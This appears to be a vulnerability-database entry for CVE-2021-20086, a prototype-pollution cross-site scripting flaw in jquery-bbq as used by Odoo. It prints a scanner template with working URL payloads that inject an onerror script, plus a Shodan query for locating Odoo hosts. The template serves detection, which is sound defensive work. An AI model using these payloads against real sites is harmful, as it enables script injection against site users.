Odoo Apps - Cross-Site Scripting via Prototype Pollution
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
 | CVE-2021-20086 | 8 Oct 202516:18 | – | circl |
 | jQuery-Bbq security vulnerability | 23 Apr 202100:00 | – | cnnvd |
 | CVE-2021-20086 | 23 Apr 202118:11 | – | cve |
 | CVE-2021-20086 | 23 Apr 202118:11 | – | cvelist |
 | EUVD-2021-1008 | 7 Oct 202500:30 | – | euvd |
 | Prototype Pollution in jquery-bbq | 24 May 202119:51 | – | github |
 | Odoo Apps - Cross-Site Scripting via Prototype Pollution Detection | 28 Jul 202611:27 | – | kittysploit |
 | CVE-2021-20086 | 23 Apr 202118:11 | – | mend |
 | CVE-2021-20086 | 23 Apr 202119:15 | – | nvd |
 | GHSA-7W8J-85WM-6XFQ Prototype Pollution in jquery-bbq | 24 May 202119:51 | – | osv_ghsa |
10
id: CVE-2021-20086
info:
name: Odoo Apps - Cross-Site Scripting via Prototype Pollution
author: 1337rokudenashi
severity: high
description: |
jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
impact: |
Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
remediation: |
Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
reference:
- https://www.tenable.com/security/research/tra-2022-10
- https://nvd.nist.gov/vuln/detail/CVE-2021-20086
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-20086
cwe-id: CWE-1321
epss-score: 0.06104
epss-percentile: 0.93356
cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:1.2.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: jquery-bbq_project
product: jquery-bbq
shodan-query: html:"Odoo"
tags: cve,cve2021,odoo,xss,proto,jquery,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x"
- "{{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- '!contains(body, "debug:")'
- 'contains_all(body, "alert(document.domain)","var odoo =")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450220098b9e71bd892c6aa396ed34c1ce605442058bf92d9a5f479d41fcf9d9b5d3ed0221009e61d53174fc4a3e420925675a6ea41146bbb4f9b6fea69d0e217fb04f7f0959:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 3.18.8
EPSS0.06104